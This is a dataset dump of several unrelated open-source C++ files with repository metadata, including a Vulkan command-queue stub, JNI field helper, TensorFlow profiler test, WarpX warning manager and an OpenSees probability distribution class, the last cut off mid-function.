4e75f56ad363ec3babf6c8e783deaaea4c10abd6 | 999 | cpp | C++ | src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp | ValtoForks/pomdog | 73798ae5f4a4c3b9b1e1e96239187c4b842c93b2 | [
"MIT"
] | null | null | null | src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp | ValtoForks/pomdog | 73798ae5f4a4c3b9b1e1e96239187c4b842c93b2 | [
"MIT"
] | null | null | null | src/RenderSystem.Vulkan/GraphicsCommandQueueVulkan.cpp | ValtoForks/pomdog | 73798ae5f4a4c3b9b1e1e96239187c4b842c93b2 | [
"MIT"
] | null | null | null | // Copyright (c) 2013-2018 mogemimi. Distributed under the MIT license.
#include "GraphicsCommandQueueVulkan.hpp"
#include "Pomdog/Utility/Assert.hpp"
#include "Pomdog/Utility/Exception.hpp"
namespace Pomdog {
namespace Detail {
namespace Vulkan {
void GraphicsCommandQueueVulkan::Reset()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::PushbackCommandList(const std::shared_ptr<GraphicsCommandList>& commandList)
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::ExecuteCommandLists()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
void GraphicsCommandQueueVulkan::Present()
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
std::size_t GraphicsCommandQueueVulkan::GetCommandCount() const noexcept
{
POMDOG_THROW_EXCEPTION(std::runtime_error, "Not implemented");
}
} // namespace Vulkan
} // namespace Detail
} // namespace Pomdog
| 25.615385 | 109 | 0.783784 | ValtoForks |
4e7796c885aaf4ec2c1944b109739e5ca64f22f6 | 559 | hpp | C++ | include/turtle/exception.hpp | sejd0n/turtle | ea548668cbff0b2f28594d27afdee3359186e7b0 | [
"BSL-1.0"
] | 46 | 2015-03-25T21:00:57.000Z | 2022-02-09T13:54:37.000Z | include/turtle/exception.hpp | sejd0n/turtle | ea548668cbff0b2f28594d27afdee3359186e7b0 | [
"BSL-1.0"
] | 83 | 2015-03-25T22:00:43.000Z | 2022-02-10T18:33:26.000Z | include/turtle/exception.hpp | sejd0n/turtle | ea548668cbff0b2f28594d27afdee3359186e7b0 | [
"BSL-1.0"
] | 22 | 2015-04-28T01:38:22.000Z | 2021-08-16T20:01:08.000Z | // http://turtle.sourceforge.net
//
// Copyright Mathieu Champlon 2012
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef MOCK_EXCEPTION_HPP_INCLUDED
#define MOCK_EXCEPTION_HPP_INCLUDED
#include "config.hpp"
#ifdef MOCK_USE_BOOST_TEST
#include <boost/test/execution_monitor.hpp>
namespace mock
{
struct exception : virtual boost::execution_aborted
{};
} // mock
#endif // MOCK_USE_BOOST_TEST
#endif // MOCK_EXCEPTION_HPP_INCLUDED
| 22.36 | 61 | 0.767442 | sejd0n |
4e790b94df565643c606c1d0e83c047d3bf8511a | 2,863 | cpp | C++ | VFCLibrary/SKYTregenza.cpp | kaemco/CitySim-Solver | 4274f442f57ab9e59869ec6652c370cc5bd400ee | [
"BSD-3-Clause"
] | 2 | 2021-02-22T14:50:18.000Z | 2021-07-01T14:07:31.000Z | VFCLibrary/SKYTregenza.cpp | kaemco/CitySim-Solver | 4274f442f57ab9e59869ec6652c370cc5bd400ee | [
"BSD-3-Clause"
] | 1 | 2022-02-03T09:40:17.000Z | 2022-02-03T09:40:17.000Z | VFCLibrary/SKYTregenza.cpp | idiap/CitySim-Solver | fec9007a67660186e7bc3b090651bf80e08d4d0d | [
"BSD-3-Clause"
] | 3 | 2020-10-30T20:48:15.000Z | 2021-09-03T08:51:39.000Z | #include "SKYTregenza.h"
#include "SKYRegularPatch.h"
#include "SKYTopPatch.h"
#ifdef _MSC_VER
#if defined(DEBUG_MEM)
#define CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
#define new new(_NORMAL_BLOCK,__FILE__, __LINE__)
#endif
#endif // _MSC_VER
using std::vector;
const unsigned int SKYTregenza::patchesPerBand[8]={30,30,24,24,18,12,6,1};
SKYTregenza::SKYTregenza(void)
{
CreatePatches();
}
SKYTregenza::~SKYTregenza(void)
{
for (int i=0; i<(int)m_skyPatches.size(); ++i)
{
delete m_skyPatches[i];
}
}
void SKYTregenza::CreatePatches()
{
int i,j;
const int AzIncDegrees[7]={12,12,15,15,20,30,60};
// generate the sky patches
int patchCounter=0;
const float AltRange=12.f*(float)M_PI/180.f;
float Alt=6.f*(float)M_PI/180.f;
for (i=0; i<7; i++)
{
int RowCount=360/AzIncDegrees[i];
const float AzRange=2.f*(float)M_PI/RowCount;
float Az=0;
for (j=0; j<RowCount; j++)
{
// add a new sky patch to the vector
m_skyPatches[patchCounter] = new SKYRegularPatch(Alt,Az,AltRange, AzRange);
++patchCounter;
Az+=AzRange;
}
Alt+=12.f*(float)M_PI/180.f;
}
// add the top patch
m_skyPatches[patchCounter] = new SKYTopPatch(6.f*(float)M_PI/180.f,true);
++patchCounter;
// now the inverted sky
Alt=6.f*(float)M_PI/180.f;
for (i=0; i<7; i++)
{
int RowCount=360/AzIncDegrees[i];
const float AzRange=2.f*(float)M_PI/RowCount;
float Az=0;
for (j=0; j<RowCount; j++)
{
m_skyPatches[patchCounter] = new SKYRegularPatch(-Alt,Az,AltRange, AzRange);
++patchCounter;
Az+=AzRange;
}
Alt+=12.f*(float)M_PI/180.f;
}
// add the bottom patch
m_skyPatches[patchCounter] = new SKYTopPatch(6.f*(float)M_PI/180.f,false);
++patchCounter;
}
double SKYTregenza::getDeltaAzimuth(unsigned int band) { return 2.*M_PI/patchesPerBand[band]; }
double SKYTregenza::getPatchCenterAltitude(unsigned int patch) {
if ( patch == 144 ) return M_PI/2.;
else return asin( (sin( ALT*M_PI/180.*getPatchBand(patch) ) + sin( ALT*M_PI/180.*(getPatchBand(patch)+1) ) ) / 2. );
}
double SKYTregenza::getPatchCenterAzimuth(unsigned int patch) {
return fmod(m_skyPatches[patch]->centroid().Azimuth().radians()+2.*M_PI,2.*M_PI);
}
double SKYTregenza::zoneSphericalArea(double phi1, double theta1, double phi2, double theta2) {
return (sin(theta2)-sin(theta1))*(phi2-phi1);
}
double SKYTregenza::triangleSphericalArea(double phi1, double theta1, double phi2, double theta2) {
if (theta2 < theta1) {
return -((phi1-phi2)*(-cos(theta1)+cos(theta2)+(theta2-theta1)*sin(theta2)))/(theta1-theta2);
}
else if (theta2 > theta1) {
return ((phi1-phi2)*(-cos(theta1)+cos(theta2)+(theta2-theta1)*sin(theta1)))/(theta2-theta1);
}
else return 0.;
}
| 23.661157 | 121 | 0.654907 | kaemco |
4e790ee65e1657704cbd7838422fcdcec0642a82 | 61 | cpp | C++ | Source/TALK.cpp | pbghogehoge/kog | 7d45ba8ddc1b01987ccca416dbd7901a23f4412f | [
"MIT"
] | 41 | 2019-02-08T09:10:30.000Z | 2022-03-24T15:54:58.000Z | Source/TALK.cpp | pbghogehoge/kog | 7d45ba8ddc1b01987ccca416dbd7901a23f4412f | [
"MIT"
] | null | null | null | Source/TALK.cpp | pbghogehoge/kog | 7d45ba8ddc1b01987ccca416dbd7901a23f4412f | [
"MIT"
] | 4 | 2019-02-08T09:26:59.000Z | 2020-05-07T15:44:34.000Z | /*
* TALK.cpp : 会話命令用定数
*
*/
#include "TALK.h"
| 8.714286 | 26 | 0.42623 | pbghogehoge |
4e7ab6b059a58ea7c7e8bdacf3189e04741121b8 | 2,388 | cpp | C++ | src/main/resources/project-files/jace/source/jace/JFieldHelper.cpp | uw-loci/jar2lib | 8af003da31b301f31c4387333c8720abcd0046c4 | [
"BSD-2-Clause"
] | 3 | 2019-11-04T05:46:27.000Z | 2020-11-21T09:11:12.000Z | src/main/resources/project-files/jace/source/jace/JFieldHelper.cpp | uw-loci/jar2lib | 8af003da31b301f31c4387333c8720abcd0046c4 | [
"BSD-2-Clause"
] | null | null | null | src/main/resources/project-files/jace/source/jace/JFieldHelper.cpp | uw-loci/jar2lib | 8af003da31b301f31c4387333c8720abcd0046c4 | [
"BSD-2-Clause"
] | 1 | 2020-11-21T09:11:14.000Z | 2020-11-21T09:11:14.000Z |
#include "jace/JFieldHelper.h"
using jace::proxy::JObject;
using jace::JClass;
using std::string;
BEGIN_NAMESPACE( jace )
JFieldHelper::JFieldHelper( const std::string& name, const JClass& typeClass ) :
mFieldID( 0 ),
mName( name ),
mTypeClass( typeClass ) {
}
jvalue JFieldHelper::getField( JObject& object ) {
/* Get the fieldID for the field belonging to the given object.
*/
const JClass& parentClass = object.getJavaJniClass();
jfieldID fieldID = getFieldID( parentClass, false );
/* Get the field value.
*/
JNIEnv* env = helper::attach();
jobject result = env->GetObjectField( object.getJavaJniObject(), fieldID );
jvalue value;
value.l = result;
return value;
}
jvalue JFieldHelper::getField( const JClass& jClass ) {
/* Get the fieldID for the field belonging to the given class.
*/
jfieldID fieldID = getFieldID( jClass, true );
/* Get the field value.
*/
JNIEnv* env = helper::attach();
jobject result = env->GetStaticObjectField( jClass.getClass(), fieldID );
jvalue value;
value.l = result;
return value;
}
jfieldID JFieldHelper::getFieldID() {
return mFieldID;
}
jfieldID JFieldHelper::getFieldID( const JClass& parentClass, bool isStatic ) {
/* We cache the jfieldID locally, so if we've already found it,
* we don't need to go looking for it again.
*/
if ( mFieldID ) {
return mFieldID;
}
/* We could look in a global cache for the jfieldID corresponding to this field,
* but for now, we'll always find it.
*/
JNIEnv* env = helper::attach();
string signature = mTypeClass.getNameAsType();
if ( isStatic )
mFieldID = env->GetStaticFieldID( parentClass.getClass(), mName.c_str(), signature.c_str() );
else
mFieldID = env->GetFieldID( parentClass.getClass(), mName.c_str(), signature.c_str() );
if ( mFieldID == 0 ) {
string msg = "JFieldHelper::getFieldID\n" \
"Unable to find field <" + mName + "> with signature <" + signature + ">";
try
{
helper::catchAndThrow();
}
catch ( JNIException& e )
{
msg.append("\ncaused by:\n");
msg.append(e.what());
}
throw JNIException( msg );
}
// cout << "JMethod::getMethodID() - Found the method:" << endl;
// cout << " <" << mName << "> with signature <" << methodSignature << "> for " << jClass.getName() << endl;
return mFieldID;
}
END_NAMESPACE( jace )
| 23.411765 | 110 | 0.653685 | uw-loci |
4e7ad457225b897d600f1fb0ba00aa0752048e40 | 2,375 | cpp | C++ | klee/unittests/Utils/PagePool.cpp | sebastianpoeplau/s2e | 995cac6126e7d80337e8c4a72bfa9a87eea7eb68 | [
"MIT"
] | 5 | 2021-05-29T01:18:36.000Z | 2022-01-29T11:43:42.000Z | klee/unittests/Utils/PagePool.cpp | Moirai7/s2e | 5a321f76d1a862c3898b9d24de621109b0c12b7d | [
"MIT"
] | null | null | null | klee/unittests/Utils/PagePool.cpp | Moirai7/s2e | 5a321f76d1a862c3898b9d24de621109b0c12b7d | [
"MIT"
] | 6 | 2021-03-30T14:41:17.000Z | 2022-03-18T13:06:03.000Z | ///
/// Copyright (C) 2020, Vitaly Chipounov
///
/// Permission is hereby granted, free of charge, to any person obtaining a copy
/// of this software and associated documentation files (the "Software"), to deal
/// in the Software without restriction, including without limitation the rights
/// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
/// copies of the Software, and to permit persons to whom the Software is
/// furnished to do so, subject to the following conditions:
///
/// The above copyright notice and this permission notice shall be included in all
/// copies or substantial portions of the Software.
///
/// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
/// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
/// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
/// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
/// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
/// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
/// SOFTWARE.
///
#include <iostream>
#include "gtest/gtest.h"
#include <klee/util/PagePool.h>
using namespace klee;
namespace {
TEST(PagePoolTest, Allocation) {
auto pages = PagePoolDesc::POOL_PAGE_COUNT;
auto pp = PagePool::create();
std::unordered_set<uint8_t *> ptrs;
for (auto i = 0u; i < pages; ++i) {
auto ptr = pp->alloc();
EXPECT_NE(nullptr, ptr);
EXPECT_EQ(ptrs.end(), ptrs.find(ptr));
ptrs.insert(ptr);
}
EXPECT_EQ(PagePoolDesc::POOL_PAGE_COUNT - pages, pp->getFreePages());
while (!ptrs.empty()) {
auto ptr = *ptrs.begin();
pp->free(ptr);
ptrs.erase(ptr);
}
EXPECT_EQ(0u, pp->getFreePages());
}
TEST(PagePoolTest, AllocationBenchmark) {
auto pages = 0x1000000u;
auto pp = PagePool::create();
std::vector<uint8_t *> vptrs;
vptrs.reserve(pages);
for (auto i = 0u; i < pages; ++i) {
auto ptr = pp->alloc();
assert(ptr);
EXPECT_NE(nullptr, ptr);
vptrs.push_back(ptr);
}
while (!vptrs.empty()) {
auto ptr = vptrs.back();
// auto ptr = *ptrs.begin();
pp->free(ptr);
vptrs.pop_back();
}
EXPECT_EQ(0u, pp->getFreePages());
}
} // namespace
| 29.6875 | 82 | 0.656842 | sebastianpoeplau |
4e7d9fb0d783cacf96624b8cfa2bf90ec56b3618 | 1,376 | hpp | C++ | src/gui/dialogs/dialogsimulationoptions.hpp | henryiii/spatial-model-editor | 2138d03ae4c7cc353b40324dfd1a3e763d7085d9 | [
"MIT"
] | 1 | 2021-04-19T10:23:58.000Z | 2021-04-19T10:23:58.000Z | src/gui/dialogs/dialogsimulationoptions.hpp | henryiii/spatial-model-editor | 2138d03ae4c7cc353b40324dfd1a3e763d7085d9 | [
"MIT"
] | 418 | 2020-10-08T07:42:27.000Z | 2022-03-08T12:10:52.000Z | src/gui/dialogs/dialogsimulationoptions.hpp | henryiii/spatial-model-editor | 2138d03ae4c7cc353b40324dfd1a3e763d7085d9 | [
"MIT"
] | 2 | 2021-09-02T11:20:38.000Z | 2021-10-13T14:05:32.000Z | #pragma once
#include "simulate_options.hpp"
#include <QDialog>
#include <memory>
namespace Ui {
class DialogSimulationOptions;
}
class DialogSimulationOptions : public QDialog {
Q_OBJECT
public:
explicit DialogSimulationOptions(const sme::simulate::Options &options,
QWidget *parent = nullptr);
~DialogSimulationOptions();
const sme::simulate::Options &getOptions() const;
private:
void setupConnections();
void loadDuneOpts();
void cmbDuneIntegrator_currentIndexChanged(int index);
void txtDuneDt_editingFinished();
void txtDuneMinDt_editingFinished();
void txtDuneMaxDt_editingFinished();
void txtDuneIncrease_editingFinished();
void txtDuneDecrease_editingFinished();
void chkDuneVTK_stateChanged();
void txtDuneNewtonRel_editingFinished();
void txtDuneNewtonAbs_editingFinished();
void resetDuneToDefaults();
void loadPixelOpts();
void cmbPixelIntegrator_currentIndexChanged(int index);
void txtPixelAbsErr_editingFinished();
void txtPixelRelErr_editingFinished();
void txtPixelDt_editingFinished();
void chkPixelMultithread_stateChanged();
void spnPixelThreads_valueChanged(int value);
void chkPixelCSE_stateChanged();
void spnPixelOptLevel_valueChanged(int value);
void resetPixelToDefaults();
std::unique_ptr<Ui::DialogSimulationOptions> ui;
sme::simulate::Options opt;
};
| 30.577778 | 73 | 0.778343 | henryiii |
4e82eaa7f79624ad2e1b767c8a6875261d9a6360 | 4,482 | cc | C++ | tensorflow/core/profiler/utils/xplane_builder_test.cc | EricRemmerswaal/tensorflow | 141ff27877579c81a213fa113bd1b474c1749aca | [
"Apache-2.0"
] | 7 | 2022-03-04T21:14:47.000Z | 2022-03-22T23:07:39.000Z | tensorflow/core/profiler/utils/xplane_builder_test.cc | EricRemmerswaal/tensorflow | 141ff27877579c81a213fa113bd1b474c1749aca | [
"Apache-2.0"
] | 3 | 2022-02-06T00:10:55.000Z | 2022-02-06T00:10:55.000Z | tensorflow/core/profiler/utils/xplane_builder_test.cc | EricRemmerswaal/tensorflow | 141ff27877579c81a213fa113bd1b474c1749aca | [
"Apache-2.0"
] | 1 | 2021-11-21T02:32:27.000Z | 2021-11-21T02:32:27.000Z | /* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/profiler/utils/xplane_builder.h"
#include <string>
#include "absl/strings/string_view.h"
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/profiler/protobuf/xplane.pb.h"
#include "tensorflow/core/profiler/utils/xplane_visitor.h"
namespace tensorflow {
namespace profiler {
namespace {
TEST(TimespanTests, NonInstantSpanIncludesSingleTimeTests) {
XPlane plane;
XPlaneBuilder xplane_builder(&plane);
XLineBuilder xline_builder = xplane_builder.GetOrCreateLine(0);
XEventBuilder event_builder = xline_builder.AddEvent(
*xplane_builder.GetOrCreateEventMetadata("1st event"));
constexpr auto kBoolStat = true;
constexpr auto kInt32Stat = int32_t{1234};
constexpr auto kInt64Stat = int64_t{1234} << 32;
constexpr auto kUint32Stat = uint32_t{5678};
constexpr auto kUint64Stat = uint64_t{5678} << 32;
constexpr auto kFloatStat = 0.5f;
constexpr auto kDoubleStat = 1.0;
constexpr auto kStringStat = "abc";
constexpr auto kRefStat = "referenced abc";
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("bool stat"), kBoolStat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("int32 stat"), kInt32Stat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("int64 stat"), kInt64Stat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("uint32 stat"), kUint32Stat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("uint64 stat"), kUint64Stat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("string stat"), kStringStat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("float stat"), kFloatStat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("double stat"), kDoubleStat);
event_builder.AddStatValue(
*xplane_builder.GetOrCreateStatMetadata("ref stat"),
*xplane_builder.GetOrCreateStatMetadata(kRefStat));
XPlaneVisitor xplane_visitor(&plane);
EXPECT_EQ(xplane_visitor.NumLines(), 1);
int num_stats = 0;
xplane_visitor.ForEachLine([&](const XLineVisitor& xline) {
xline.ForEachEvent([&](const XEventVisitor& xevent) {
EXPECT_EQ(xevent.Name(), "1st event");
xevent.ForEachStat([&](const XStatVisitor& stat) {
if (stat.Name() == "bool stat") {
EXPECT_EQ(stat.BoolValue(), kBoolStat);
num_stats++;
} else if (stat.Name() == "int32 stat") {
EXPECT_EQ(stat.IntValue(), kInt32Stat);
EXPECT_EQ(stat.IntOrUintValue(), kInt32Stat);
num_stats++;
} else if (stat.Name() == "int64 stat") {
EXPECT_EQ(stat.IntValue(), kInt64Stat);
EXPECT_EQ(stat.IntOrUintValue(), kInt64Stat);
num_stats++;
} else if (stat.Name() == "uint32 stat") {
EXPECT_EQ(stat.UintValue(), kUint32Stat);
EXPECT_EQ(stat.IntOrUintValue(), kUint32Stat);
num_stats++;
} else if (stat.Name() == "uint64 stat") {
EXPECT_EQ(stat.UintValue(), kUint64Stat);
EXPECT_EQ(stat.IntOrUintValue(), kUint64Stat);
num_stats++;
} else if (stat.Name() == "string stat") {
EXPECT_EQ(stat.StrOrRefValue(), kStringStat);
num_stats++;
} else if (stat.Name() == "float stat") {
EXPECT_EQ(stat.DoubleValue(), kFloatStat);
num_stats++;
} else if (stat.Name() == "double stat") {
EXPECT_EQ(stat.DoubleValue(), kDoubleStat);
num_stats++;
} else if (stat.Name() == "ref stat") {
EXPECT_EQ(stat.StrOrRefValue(), kRefStat);
num_stats++;
}
});
});
});
EXPECT_EQ(num_stats, 9);
}
} // namespace
} // namespace profiler
} // namespace tensorflow
| 40.378378 | 80 | 0.681838 | EricRemmerswaal |
4e83326317d143df4b4a298515402eb7529fe447 | 6,373 | cpp | C++ | Source/Utils/WarnManager.cpp | Alpine-DAV/WarpX | fe971e82a49a1c5101e5ef48cce849460dcb598d | [
"BSD-3-Clause-LBNL"
] | null | null | null | Source/Utils/WarnManager.cpp | Alpine-DAV/WarpX | fe971e82a49a1c5101e5ef48cce849460dcb598d | [
"BSD-3-Clause-LBNL"
] | null | null | null | Source/Utils/WarnManager.cpp | Alpine-DAV/WarpX | fe971e82a49a1c5101e5ef48cce849460dcb598d | [
"BSD-3-Clause-LBNL"
] | null | null | null | /* Copyright 2021 Luca Fedeli
*
* This file is part of WarpX.
*
* License: BSD-3-Clause-LBNL
*/
#include "WarnManager.H"
#include "MsgLogger/MsgLogger.H"
#include <AMReX_ParallelDescriptor.H>
#include <algorithm>
#include <sstream>
using namespace Utils;
using namespace Utils::MsgLogger;
WarnManager::WarnManager():
m_rank{amrex::ParallelDescriptor::MyProc()},
m_p_logger{std::make_unique<Logger>()}
{}
void WarnManager::record_warning(
std::string topic,
std::string text,
Priority priority)
{
m_p_logger->record_msg(Msg{topic, text, priority});
}
std::string WarnManager::print_local_warnings(const std::string& when) const
{
auto all_warnings = m_p_logger->get_msgs_with_counter();
std::sort(all_warnings.begin(), all_warnings.end(),
[](const auto& a, const auto& b){return a.msg < b.msg;});
std::stringstream ss;
ss << "\n" << WarnManager::get_header(when, warn_line_size, false);
if(all_warnings.empty()){
ss << "* No recorded warnings.\n";
}
else{
for(const auto& warn_msg : all_warnings){
ss << print_warn_msg(warn_msg);
ss << "*\n";
}
}
ss << std::string(warn_line_size, '*') << "\n\n" ;
return ss.str();
}
std::string WarnManager::print_global_warnings(const std::string& when) const
{
auto all_warnings =
m_p_logger->collective_gather_msgs_with_counter_and_ranks();
if(m_rank != amrex::ParallelDescriptor::IOProcessorNumber())
return "[see I/O rank message]";
std::sort(all_warnings.begin(), all_warnings.end(),
[](const auto& a, const auto& b){
return a.msg_with_counter.msg < b.msg_with_counter.msg;});
std::stringstream ss;
ss << "\n" << WarnManager::get_header(when, warn_line_size, true);
if(all_warnings.empty()){
ss << "* No recorded warnings.\n";
}
else{
for(const auto& warn_msg : all_warnings){
ss << print_warn_msg(warn_msg);
ss << "*\n";
}
}
ss << std::string(warn_line_size, '*') << "\n\n" ;
return ss.str();
}
void WarnManager::debug_read_warnings_from_input(amrex::ParmParse& params)
{
std::vector<std::string> warnings;
params.queryarr("test_warnings", warnings);
for (const auto& warn : warnings){
amrex::ParmParse pp_warn(warn);
std::string topic;
pp_warn.query("topic", topic);
std::string msg;
pp_warn.query("msg", msg);
std::string spriority;
pp_warn.query("priority", spriority);
Priority priority = StringToPriority(spriority);
int all_involved = 0;
pp_warn.query("all_involved", all_involved);
if(all_involved != 0){
this->record_warning(topic, msg, priority);
}
else{
std::vector<int> who_involved;
pp_warn.queryarr("who_involved", who_involved);
if(std::find (who_involved.begin(), who_involved.end(), m_rank)
!= who_involved.end()){
this->record_warning(topic, msg, priority);
}
}
}
}
std::string WarnManager::print_warn_msg(
const MsgLogger::MsgWithCounter& msg_with_counter) const
{
std::stringstream ss;
ss << "* --> ";
if (msg_with_counter.msg.priority == MsgLogger::Priority::high)
ss << "[!!!]";
else if (msg_with_counter.msg.priority == MsgLogger::Priority::medium)
ss << "[!! ]";
else if (msg_with_counter.msg.priority == MsgLogger::Priority::low)
ss << "[! ]";
else
ss << "[???]";
ss << " [" + msg_with_counter.msg.topic << "] ";
if(msg_with_counter.counter == 2)
ss << "[raised twice]\n";
else if(msg_with_counter.counter == 1)
ss << "[raised once]\n";
else
ss << "[raised " << msg_with_counter.counter << " times]\n";
ss << msg_formatter(msg_with_counter.msg.text, warn_line_size, warn_tab_size);
return ss.str();
}
std::string WarnManager::print_warn_msg(
const MsgLogger::MsgWithCounterAndRanks& msg_with_counter_and_ranks) const
{
std::stringstream ss;
ss << this->print_warn_msg(msg_with_counter_and_ranks.msg_with_counter);
std::string raised_by = "@ Raised by: ";
if (!msg_with_counter_and_ranks.all_ranks){
for (const auto rr : msg_with_counter_and_ranks.ranks)
raised_by += " " + std::to_string(rr);
}
else{
raised_by += "ALL\n";
}
ss << WarnManager::msg_formatter(raised_by, warn_line_size, warn_tab_size);
return ss.str();
}
std::string WarnManager::get_header(
const std::string& when,
const int line_size,
const bool is_global)
{
const std::string warn_header{"**** WARNINGS "};
std::stringstream ss;
ss << warn_header <<
std::string(line_size - static_cast<int>(warn_header.length()), '*') << "\n" ;
if(is_global){
ss << "* GLOBAL warning list after " << " [ " << when << " ]\n*\n";
}
else{
auto const mpi_rank = amrex::ParallelDescriptor::MyProc();
ss << "* LOCAL" << " ( rank # " << mpi_rank << " ) "
<< " warning list after " << when << "\n*\n";
}
return ss.str();
}
std::string
WarnManager::msg_formatter(
const std::string& msg,
const int line_size,
const int tab_size)
{
const auto prefix = "*" + std::string(tab_size, ' ');
const auto prefix_length = static_cast<int>(prefix.length());
std::stringstream ss_out;
std::stringstream ss_msg{msg};
std::string line;
std::string word;
while(std::getline(ss_msg, line,'\n')){
ss_out << prefix;
std::stringstream ss_line{line};
int counter = prefix_length;
while (ss_line >> word){
const auto wlen = static_cast<int>(word.length());
if(counter == prefix_length){
ss_out << word;
counter += wlen;
}
else{
if (counter + wlen < line_size){
ss_out << " " << word;
counter += (wlen+1);
}
else{
ss_out << "\n" << prefix << word;
counter = prefix_length + wlen;
}
}
}
ss_out << '\n';
}
return ss_out.str();
}
| 26.554167 | 86 | 0.578064 | Alpine-DAV |
4e839f0261a53abc29a818299feefb29b4662061 | 5,975 | cpp | C++ | OpenSees/SRC/reliability/domain/distributions/Type2LargestValueRV.cpp | kuanshi/ductile-fracture | ccb350564df54f5c5ec3a079100effe261b46650 | [
"MIT"
] | 8 | 2019-03-05T16:25:10.000Z | 2020-04-17T14:12:03.000Z | SRC/reliability/domain/distributions/Type2LargestValueRV.cpp | steva44/OpenSees | 417c3be117992a108c6bbbcf5c9b63806b9362ab | [
"TCL"
] | null | null | null | SRC/reliability/domain/distributions/Type2LargestValueRV.cpp | steva44/OpenSees | 417c3be117992a108c6bbbcf5c9b63806b9362ab | [
"TCL"
] | 3 | 2019-09-21T03:11:11.000Z | 2020-01-19T07:29:37.000Z | /* ****************************************************************** **
** OpenSees - Open System for Earthquake Engineering Simulation **
** Pacific Earthquake Engineering Research Center **
** **
** **
** (C) Copyright 2001, The Regents of the University of California **
** All Rights Reserved. **
** **
** Commercial use of this program without express permission of the **
** University of California, Berkeley, is strictly prohibited. See **
** file 'COPYRIGHT' in main directory for information on usage and **
** redistribution, and for a DISCLAIMER OF ALL WARRANTIES. **
** **
** Developed by: **
** Frank McKenna (fmckenna@ce.berkeley.edu) **
** Gregory L. Fenves (fenves@ce.berkeley.edu) **
** Filip C. Filippou (filippou@ce.berkeley.edu) **
** **
** Reliability module developed by: **
** Terje Haukaas (haukaas@ce.berkeley.edu) **
** Armen Der Kiureghian (adk@ce.berkeley.edu) **
** **
** ****************************************************************** */
// $Revision: 1.7 $
// $Date: 2007-02-17 21:27:23 $
// $Source: /usr/local/cvs/OpenSees/SRC/reliability/domain/distributions/Type2LargestValueRV.cpp,v $
//
// Written by Terje Haukaas (haukaas@ce.berkeley.edu)
//
#include <Type2LargestValueRV.h>
#include <Vector.h>
#include <cmath>
Type2LargestValueRV::Type2LargestValueRV(int passedTag,
double passedMean, double passedStdv)
:RandomVariable(passedTag, RANDOM_VARIABLE_type2largestvalue)
{
int setp = setParameters(passedMean,passedStdv);
if (setp < 0)
opserr << "Error setting parameters in Type2LargestValue RV with tag " << this->getTag() << endln;
}
Type2LargestValueRV::Type2LargestValueRV(int passedTag,
const Vector &passedParameters)
:RandomVariable(passedTag, RANDOM_VARIABLE_type2largestvalue)
{
if (passedParameters.Size() != 2) {
opserr << "Type2LargestValue RV requires 2 parameters, u and k, for RV with tag " <<
this->getTag() << endln;
// this will create terminal errors
u = 0;
k = 0;
} else {
u = passedParameters(0);
k = passedParameters(1);
}
}
Type2LargestValueRV::~Type2LargestValueRV()
{
}
const char *
Type2LargestValueRV::getType()
{
return "TYPE2LARGESTVALUE";
}
double
Type2LargestValueRV::getMean()
{
double result;
result = u * gammaFunction(1.0-1.0/k);
return result;
}
double
Type2LargestValueRV::getStdv()
{
double a = gammaFunction(1.0-2.0/k);
double b = gammaFunction(1.0-1.0/k);
double result = u*sqrt(a-b*b);
return result;
}
const Vector &
Type2LargestValueRV::getParameters(void) {
static Vector temp(2);
temp(0) = u;
temp(1) = k;
return temp;
}
int
Type2LargestValueRV::setParameters(double mean, double stdv)
{
double cov = stdv/mean;
double c = 1+cov*cov;
double k_prev = log(1/(c-1));
double del = 1.0;
double del_prev = 10.0;
// now use Newtons method with nice f/f' function
int ncount = 1;
int nmax = 100;
double tolk = 1.0e-8;
while (del > tolk && ncount <= nmax) {
k = k_prev - (-c*pow(gammaFunction(-1/k_prev),2)-2*k_prev*gammaFunction(-2/k_prev)) /
( 2*gammaFunction(-2/k_prev+1)*(-harmonicNumber(-1/k_prev)+harmonicNumber(-2/k_prev)) );
del = fabs(k-k_prev);
if (del > del_prev) {
// be careful with non-convergent cases, exit to bisection method
break;
}
k_prev = k;
del_prev = del;
ncount++;
}
// check whether we need to use bisection method to supplement
if (del > tolk) {
double left = 2.05;
double right = 1000;
int change = 0;
double fa = 0;
double fc = 0;
ncount = 1;
